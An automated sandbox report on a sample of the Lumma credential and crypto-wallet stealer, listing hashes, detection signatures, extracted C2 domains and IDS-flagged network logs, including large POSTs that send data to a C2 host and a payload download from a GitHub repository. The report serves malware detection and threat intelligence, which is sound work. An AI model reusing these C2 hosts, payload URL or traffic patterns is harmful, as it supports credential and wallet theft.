Edit tour

Windows Analysis Report
Gz1bBIg2Tw.exe

Overview

General Information

Sample name:	Gz1bBIg2Tw.exe renamed because original name is a hash value
Original sample name:	e6ca05860eca285d9eacc82cdce02b49.exe
Analysis ID:	1583037
MD5:	e6ca05860eca285d9eacc82cdce02b49
SHA1:	207c9c2eeb572474908d3f1a04c5c34e5271fef1
SHA256:	6a409069707dfb37703b14740289bcecab1886f85b465b17c2f2c9a8632e3b38
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

LummaC encrypted strings found

Machine Learning detection for dropped file

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Abnormal high CPU Usage

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Detected potential crypto function

Drops PE files

Found large amount of non-executed APIs

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Gz1bBIg2Tw.exe (PID: 4784 cmdline: "C:\Users\user\Desktop\Gz1bBIg2Tw.exe" MD5: E6CA05860ECA285D9EACC82CDCE02B49)

AD2QI301VGQ7BUOKWK66SF.exe (PID: 964 cmdline: "C:\Users\user\AppData\Local\Temp\AD2QI301VGQ7BUOKWK66SF.exe" MD5: 43142552E4812E3337226CA1664ED728)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["appliacnesot.buzz", "screwamusresz.buzz", "hummskitnj.buzz", "rebuildeso.buzz", "scentniej.buzz", "inherineau.buzz", "prisonyfork.buzz", "cashfuzysao.buzz"], "Build id": "bo42Xj--"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.3816016545.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Gz1bBIg2Tw.exe PID: 4784	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: Gz1bBIg2Tw.exe PID: 4784	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Gz1bBIg2Tw.exe PID: 4784	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T16:54:34.584267+0100	2028371	3	Unknown Traffic	192.168.2.6	49986	104.102.49.254	443	TCP
2025-01-01T16:54:35.713967+0100	2028371	3	Unknown Traffic	192.168.2.6	49987	172.67.157.254	443	TCP
2025-01-01T16:54:36.645060+0100	2028371	3	Unknown Traffic	192.168.2.6	49988	172.67.157.254	443	TCP
2025-01-01T16:54:37.834771+0100	2028371	3	Unknown Traffic	192.168.2.6	49989	172.67.157.254	443	TCP
2025-01-01T16:54:44.667574+0100	2028371	3	Unknown Traffic	192.168.2.6	49990	172.67.157.254	443	TCP
2025-01-01T16:54:45.934829+0100	2028371	3	Unknown Traffic	192.168.2.6	49991	172.67.157.254	443	TCP
2025-01-01T16:54:47.878144+0100	2028371	3	Unknown Traffic	192.168.2.6	49992	172.67.157.254	443	TCP
2025-01-01T16:54:49.227172+0100	2028371	3	Unknown Traffic	192.168.2.6	49993	172.67.157.254	443	TCP
2025-01-01T16:54:51.299056+0100	2028371	3	Unknown Traffic	192.168.2.6	49994	172.67.157.254	443	TCP
2025-01-01T16:54:52.444709+0100	2028371	3	Unknown Traffic	192.168.2.6	49995	140.82.121.4	443	TCP
2025-01-01T16:54:53.811463+0100	2028371	3	Unknown Traffic	192.168.2.6	49997	185.199.109.133	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T16:54:36.154599+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49987	172.67.157.254	443	TCP
2025-01-01T16:54:37.107191+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49988	172.67.157.254	443	TCP
2025-01-01T16:54:51.791536+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49994	172.67.157.254	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T16:54:36.154599+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49987	172.67.157.254	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T16:54:37.107191+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49988	172.67.157.254	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (appliacnesot .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T16:54:33.911862+0100	2058572	1	Domain Observed Used for C2 Detected	192.168.2.6	61221	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cashfuzysao .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T16:54:33.923521+0100	2058576	1	Domain Observed Used for C2 Detected	192.168.2.6	54694	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (hummskitnj .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T16:54:33.838626+0100	2058578	1	Domain Observed Used for C2 Detected	192.168.2.6	63151	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (inherineau .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T16:54:33.888336+0100	2058580	1	Domain Observed Used for C2 Detected	192.168.2.6	61208	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (prisonyfork .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T16:54:33.852246+0100	2058584	1	Domain Observed Used for C2 Detected	192.168.2.6	49600	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rebuildeso .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T16:54:33.864192+0100	2058586	1	Domain Observed Used for C2 Detected	192.168.2.6	63709	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scentniej .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T16:54:33.875846+0100	2058588	1	Domain Observed Used for C2 Detected	192.168.2.6	62709	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (screwamusresz .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T16:54:33.900313+0100	2058590	1	Domain Observed Used for C2 Detected	192.168.2.6	56868	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T16:54:43.562432+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49989	172.67.157.254	443	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T16:54:49.231246+0100	2843864	1	A Network Trojan was detected	192.168.2.6	49993	172.67.157.254	443	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T16:54:35.103570+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.6	49986	104.102.49.254	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://lev-tolstoi.com/s4	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/apiFile	Avira URL Cloud: Label: malware
Source: https://hummskitnj.buzz/	Avira URL Cloud: Label: malware
Source: https://hummskitnj.buzz:443/apiI	Avira URL Cloud: Label: malware
Source: https://inherineau.buzz:443/api	Avira URL Cloud: Label: malware
Source: https://prisonyfork.buzz:443/api	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com:443/apical	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/apik	Avira URL Cloud: Label: malware
Source: https://screwamusresz.buzz:443/api	Avira URL Cloud: Label: malware
Source: https://scentniej.buzz:443/apih	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\AD2QI301VGQ7BUOKWK66SF.exe

Avira: detection malicious, Label: HEUR/AGEN.1316942

Found malware configuration

Source: 00000000.00000002.3952785964.0000000000442000.00000002.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: LummaC {"C2 url": ["appliacnesot.buzz", "screwamusresz.buzz", "hummskitnj.buzz", "rebuildeso.buzz", "scentniej.buzz", "inherineau.buzz", "prisonyfork.buzz", "cashfuzysao.buzz"], "Build id": "bo42Xj--"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\AD2QI301VGQ7BUOKWK66SF.exe

ReversingLabs: Detection: 36%

Multi AV Scanner detection for submitted file

Source: Gz1bBIg2Tw.exe	Virustotal: Detection: 35%			Perma Link
Source: Gz1bBIg2Tw.exe	ReversingLabs: Detection: 36%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 96.7% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\AD2QI301VGQ7BUOKWK66SF.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.3952785964.0000000000442000.00000002.00001000.00020000.00000000.sdmp	String decryptor: hummskitnj.buzz
Source: 00000000.00000002.3952785964.0000000000442000.00000002.00001000.00020000.00000000.sdmp	String decryptor: cashfuzysao.buzz
Source: 00000000.00000002.3952785964.0000000000442000.00000002.00001000.00020000.00000000.sdmp	String decryptor: appliacnesot.buzz
Source: 00000000.00000002.3952785964.0000000000442000.00000002.00001000.00020000.00000000.sdmp	String decryptor: screwamusresz.buzz
Source: 00000000.00000002.3952785964.0000000000442000.00000002.00001000.00020000.00000000.sdmp	String decryptor: inherineau.buzz
Source: 00000000.00000002.3952785964.0000000000442000.00000002.00001000.00020000.00000000.sdmp	String decryptor: scentniej.buzz
Source: 00000000.00000002.3952785964.0000000000442000.00000002.00001000.00020000.00000000.sdmp	String decryptor: rebuildeso.buzz
Source: 00000000.00000002.3952785964.0000000000442000.00000002.00001000.00020000.00000000.sdmp	String decryptor: prisonyfork.buzz
Source: 00000000.00000002.3952785964.0000000000442000.00000002.00001000.00020000.00000000.sdmp	String decryptor: hummskitnj.buzz
Source: 00000000.00000002.3952785964.0000000000442000.00000002.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.3952785964.0000000000442000.00000002.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.3952785964.0000000000442000.00000002.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.3952785964.0000000000442000.00000002.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.3952785964.0000000000442000.00000002.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.3952785964.0000000000442000.00000002.00001000.00020000.00000000.sdmp	String decryptor: bo42Xj--

Source: Gz1bBIg2Tw.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:49986 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.6:49987 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.6:49988 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.6:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.6:49990 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.6:49991 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.6:49992 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.6:49993 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.6:49994 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.6:49995 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.6:49997 version: TLS 1.2

Source: Gz1bBIg2Tw.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Admin\Workspace\1803121139\Project\Release\Project.pdb source: Gz1bBIg2Tw.exe, 00000000.00000003.3891631057.000000000A932000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3891476524.000000000A9E9000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3888732153.000000000A4DD000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3891792264.000000000A933000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3892580681.000000000A944000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3889952865.000000000A918000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3888797443.000000000A874000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3891551885.000000000A877000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3890437736.000000000A872000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3893738428.000000000A951000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3889534529.000000000A4D5000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3893484990.000000000A87D000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3895482554.000000000AA66000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3893991883.000000000A969000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3888857370.000000000A4D4000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3894660649.000000000A870000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3890090986.000000000A91A000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3889776200.000000000A874000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3890025754.000000000A870000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3897348826.000000000AA81000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3892264011.000000000A872000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3895391658.000000000A968000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3892033573.000000000A871000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3891869657.000000000A872000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3889233330.000000000A87A000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3896426614.000000000AA8E000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3895299486.000000000A874000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3891708617.000000000A873000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 000000
Source:	Binary string: C:\Admin\Workspace\131254165\Project\Release\Project.pdb source: Gz1bBIg2Tw.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2058578 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (hummskitnj .buzz) : 192.168.2.6:63151 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058590 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (screwamusresz .buzz) : 192.168.2.6:56868 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058588 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scentniej .buzz) : 192.168.2.6:62709 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058586 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rebuildeso .buzz) : 192.168.2.6:63709 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058580 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (inherineau .buzz) : 192.168.2.6:61208 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058572 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (appliacnesot .buzz) : 192.168.2.6:61221 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058576 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cashfuzysao .buzz) : 192.168.2.6:54694 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058584 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (prisonyfork .buzz) : 192.168.2.6:49600 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49988 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49988 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49987 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49987 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.6:49986 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49994 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49989 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.6:49993 -> 172.67.157.254:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: appliacnesot.buzz
Source: Malware configuration extractor	URLs: screwamusresz.buzz
Source: Malware configuration extractor	URLs: hummskitnj.buzz
Source: Malware configuration extractor	URLs: rebuildeso.buzz
Source: Malware configuration extractor	URLs: scentniej.buzz
Source: Malware configuration extractor	URLs: inherineau.buzz
Source: Malware configuration extractor	URLs: prisonyfork.buzz
Source: Malware configuration extractor	URLs: cashfuzysao.buzz

Source: Joe Sandbox View	IP Address: 172.67.157.254 172.67.157.254
Source: Joe Sandbox View	IP Address: 185.199.109.133 185.199.109.133
Source: Joe Sandbox View	IP Address: 185.199.109.133 185.199.109.133

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49986 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49988 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49989 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49992 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49993 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49990 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49994 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49997 -> 185.199.109.133:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49995 -> 140.82.121.4:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49987 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49991 -> 172.67.157.254:443

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 42Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=D0HF5DCDGYNYRXWUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12836Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=C2GNNOJM8GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15052Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=JY4C60UI59SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 19916Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=2RSJYPIWAIMUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1175Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=65CKKNZT62KNUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 571028Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 77Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: GET /DLMKER/biden/raw/refs/heads/main/SamilinadiSoftware.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: github.com
Source: global traffic	HTTP traffic detected: GET /DLMKER/biden/refs/heads/main/SamilinadiSoftware.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: raw.githubusercontent.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /DLMKER/biden/raw/refs/heads/main/SamilinadiSoftware.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: github.com
